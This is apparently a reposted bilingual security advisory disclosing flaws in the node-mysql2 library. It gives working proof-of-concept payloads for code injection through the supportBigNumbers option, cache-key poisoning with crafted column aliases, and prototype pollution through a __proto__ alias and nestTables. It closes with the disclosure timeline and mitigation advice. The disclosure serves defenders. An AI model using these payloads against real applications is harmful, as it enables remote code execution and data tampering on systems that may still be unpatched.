MySQL2: Dangers of User-Defined Database Connections

The article is informative and intended for security specialists conducting testing within the scope of a contract. The author is not responsible for any damage caused by the application of the provided information. The distribution of malicious programs, disruption of system operation, and violation of the confidentiality of correspondence are pursued by law.
本文内容丰富,适用于在合同范围内进行测试的安全专家。作者不对因应用所提供信息而造成的任何损害负责。恶意程序的分发、系统运行中断和违反通信机密性将受到法律追究。

Introduction 介绍

The node-mysql2 library is one of the most popular libraries for connecting to a database in JavaScript, with over 2 million installations per week.
node-mysql2 库是用于连接到 JavaScript 数据库的最流行库之一,每周安装量超过 200 万次。

At the end of last year, I encountered an automation system that utilized the node-mysql2 library to connect to user databases and execute queries controlled by them. In this article, I want to discuss the issues it causes and provide you with their solutions.
去年年底,我遇到了一个自动化系统,它利用 node-mysql2 库连接到用户数据库并执行由它们控制的查询。在本文中,我想讨论它引起的问题并为您提供解决方案。

Basics 基本

In the application I was researching, the user could establish a connection to their database and execute queries with it:
在我正在研究的应用程序中,用户可以建立与数据库的连接,并用它执行查询:

// Simplified example
const mysql = require('mysql2');
...
const connection = mysql.createConnection({
    host: userdata.host,
    user: userdata.user,
    database: userdata.db,
    password: userdata.password,
});
...
connection.query(userdata.query,reponseFunction)
);

Obviously, in this case, we cannot talk about standard SQL-related attack vectors since the connection belongs to us. Therefore, we should consider issues related to affecting other users data or server performance.
显然,在这种情况下,我们不能谈论与 SQL 相关的标准攻击媒介,因为连接属于我们。因此,我们应该考虑与影响其他用户数据或服务器性能相关的问题。

RCE

As you might guess, I was able to find a way to execute arbitary code in such a configuration, but how is this possible?
正如您可能猜到的那样,我能够找到一种在这样的配置中执行任意代码的方法,但这怎么可能呢?

First, let’s understand how the library works. In most cases, the first argument passed to the connection.query function is a string containing the query:
首先,让我们了解一下库是如何工作的。在大多数情况下,传递给 connection.query 函数的第一个参数是包含查询的字符串:

connection.query("SELECT 1;",reponseFunction)

But actually, the first argument can also be an object, where in addition to the query itself, we can pass parameters for its processing:
但实际上,第一个参数也可以是一个对象,除了查询本身之外,我们还可以传递参数进行处理:

connection.query({sql:"SELECT 1;", ... },reponseFunction)

After that, the passed configuration parameters will be used by the response parsing function. (It’s also worth noting that these same parameters can be passed directly into the database connection, which can be useful if the query argument is filtered.)
之后,传递的配置参数将由响应解析函数使用。(还值得注意的是,这些相同的参数可以直接传递到数据库连接中,这在筛选查询参数时非常有用。

If you look closely, you will notice that this function involves code generation. MySQL2 generates a parsing function for each query, which is then cached for optimization purposes. This is important for understanding this article.
如果你仔细观察,你会发现这个函数涉及代码生成。MySQL2 为每个查询生成一个解析函数,然后缓存该函数以进行优化。这对于理解本文很重要。

I noticed that in most cases, it successfully sanitizes the data that enters the generated code. However, there is also a line:
我注意到,在大多数情况下,它成功地清理了输入生成代码的数据。但是,还有一行:

      return `packet.parseLengthCodedInt(${supportBigNumbers})`;

The parameter supportBigNumbers is a number in a legitimate case, so it is not sanitized. However, are there any checks for this?
参数 supportBigNumbers 在合法情况下是一个数字,因此不会对其进行清理。但是,对此有任何检查吗?

A quick look at the code revealed that such checks are absent. This piece of code will be executed if the executed query returns a BIGNUMBER, so to achieve RCE, it is sufficient to pass the following object as the first argument:
快速浏览代码后发现不存在此类检查。如果执行的查询返回 BIGNUMBER,则将执行此代码,因此要实现 RCE,将以下对象作为第一个参数传递就足够了:

 {sql:`SELECT INDEX_LENGTH FROM information_schema.tables LIMIT 1`, supportBigNumbers:"console.log(1337)"}

As a result, you will see 1337 in the console after executing this database query.
因此,执行此数据库查询后,您将在控制台中看到 1337。

!!! It’s also important to understand that an object with a global prototype is used as a map. Therefore, you can use this as Prototype Pollution to achieve RCE. If the targeted application uses mysql2 and you achieve PP, you can also gain RCE.
!!!同样重要的是要了解具有全局原型的对象用作地图。因此,您可以将其用作原型污染来实现 RCE。如果目标应用程序使用 mysql2 并且您实现了 PP,您还可以获得 RCE。

Cache Poisoning 缓存中毒

The next vulnerability becomes accessible even in stricter application configurations. Its exploitation is possible even if the first argument query is checked to ensure it is a string. As I mentioned earlier, the library utilizes caching of generated response functions. Let’s take a look at how it was implemented:
即使在更严格的应用程序配置中,也可以访问下一个漏洞。即使检查第一个参数查询以确保它是字符串,它也可能被利用。正如我之前提到的,该库利用生成的响应函数的缓存。让我们来看看它是如何实现的:

function keyFromFields(type, fields, options, config) {
  let res =
    `${type}` +
    `/${typeof options.nestTables}` +
    `/${options.nestTables}` +
    `/${options.rowsAsArray}` +
    `/${options.supportBigNumbers || config.supportBigNumbers}` +
    `/${options.bigNumberStrings || config.bigNumberStrings}` +
    `/${typeof options.typeCast}` +
    `/${options.timezone || config.timezone}` +
    `/${options.decimalNumbers}` +
    `/${options.dateStrings}`;
  for (let i = 0; i < fields.length; ++i) {
    const field = fields[i];
    res += `/${field.name}:${field.columnType}:${field.length}:${field.schema}:${field.table}:${field.flags}:${field.characterSet}`;
  }
  return res;
}

As you can see, keys are inserted into the string, and “:” is used as a delimiter. This is a poor implementation because the values passed into the key can also contain “:”. By exploiting this characteristic, one can manipulate the hashed function:
如您所见,键入到字符串中,并且“:”被用作分隔符。这是一个糟糕的实现,因为传递到键中的值也可以包含“:”。通过利用此特性,可以操作哈希函数:

  connection.query(
    'SELECT information_schema.tables.TABLE_NAME,`tables:160:63/DATA_LENGTH:8:undefined::tables`.TABLE_ROWS FROM information_schema.tables INNER JOIN information_schema.tables AS `tables:160:63/DATA_LENGTH:8:undefined::tables` ON `tables:160:63/DATA_LENGTH:8:undefined::tables`.TABLE_ROWS!=information_schema.tables.TABLE_ROWS LIMIT 1;',
    function(err, results, fields) {
    }
  );
  // Send another request and spwan new connection
  connection1.query(
    `SELECT TABLE_NAME, TABLE_ROWS, DATA_LENGTH FROM information_schema.tables LIMIT 1;`,
    function(err, results, fields) {
      console.log(results);
      console.log(fields);
    }
  );

You will see output:
您将看到输出:

[ { TABLE_NAME: 'ADMINISTRABLE_ROLE_AUTHORIZATIONS', TABLE_ROWS: 0 } ]
[
  `TABLE_NAME` VARCHAR(64) NOT NULL,
  `TABLE_ROWS` BIGINT(21) UNSIGNED,
  `DATA_LENGTH` BIGINT(21) UNSIGNED
]

As evident, the fields of the second request include DATA_LENGTH, which, however, is absent in the results. This discrepancy arises because the first request stores in the cache a key text/undefined/undefined/false/false/false/boolean/local/false/false/TABLE_NAME:253:undefined:information_schema:tables:20609:224/TABLE_ROWS:8:undefined::tables:160:63/DATA_LENGTH:8:undefined::tables:160:63 with an incorrect packet parser.
显然,第二个请求的字段包括DATA_LENGTH,但结果中没有。出现这种差异的原因是,第一个请求在缓存中存储了一个具有不正确数据包解析器的密钥 text/undefined/undefined/false/false/false/boolean/local/false/false/TABLE_NAME:253:undefined:information_schema:tables:20609:224/TABLE_ROWS:8:undefined::tables:160:63/DATA_LENGTH:8:undefined::tables:160:63 。

This can be used to disrupt the logic of the application, sending data types that are not expected.
这可用于中断应用程序的逻辑,发送意想不到的数据类型。

Fixed in latest release. 已在最新版本中修复。

Prototype Poisoning / Pollution
原型中毒/污染

Returning to the process of generating the function that parses the returned response, it can be observed that an object with a global prototype is used as the user-supplied value:
回到生成解析返回响应的函数的过程,可以观察到一个具有全局原型的对象被用作用户提供的值:

parserFn("const result = {};");

Therefore, if you pass the following query:
因此,如果传递以下查询:

SELECT CAST('{"toString": {"toString":true}, "tags": {"a": 1, "b": null}}' as JSON) AS __proto__;

You will notice that the response prototype has changed
您会注意到响应原型已更改

Object.getPrototypeOf(results[0])
> { tags: { a: 1, b: null }, toString: { toString: true } }

his only controls a specific prototype, not the global one. However, if we have the ability to control the configuration, we can simply pass nestTables: true:
他只控制一个特定的原型,而不是全局的原型。但是,如果我们有能力控制配置,我们可以简单地传递 nestTables: true :

    } else if (options.nestTables === true) {
        lvalue = `result[${helpers.srcEscape(fields[i].table)}][${fieldName}]`;
    }

As many might understand, this will give us full prototype pollution.
正如许多人可能理解的那样,这将给我们带来完整的原型污染。

Conclusion 结论

I informed the vendor about these issues 90 days ago and my intentions to publish this material on March 26th. Unfortunately, the vendor did not provide the necessary cooperation, ignoring my emails for months, so this material was released without the final fixes.
我在 90 天前将这些问题告知了供应商,并打算在 3 月 26 日发布此材料。不幸的是,供应商没有提供必要的合作,几个月来一直无视我的电子邮件,因此该材料在没有最终修复的情况下发布。

Today, a fix was released that addresses the cache manipulation issue. However, the remaining problems remain relevant in the latest version.
今天,发布了一个修复程序,解决了缓存操作问题。但是,其余问题在最新版本中仍然相关。

If you are using the library in the described scenarios, I strongly advise you to limit the connection parameters and the parameters passed in the query.
如果在所述方案中使用该库,我强烈建议您限制连接参数和查询中传递的参数。

原文始发于Slonser Notes:MySQL2: Dangers of User-Defined Database Connections

版权声明:admin 发表于 2024年4月7日 下午9:15。
转载请注明:MySQL2: Dangers of User-Defined Database Connections | CTF导航

相关文章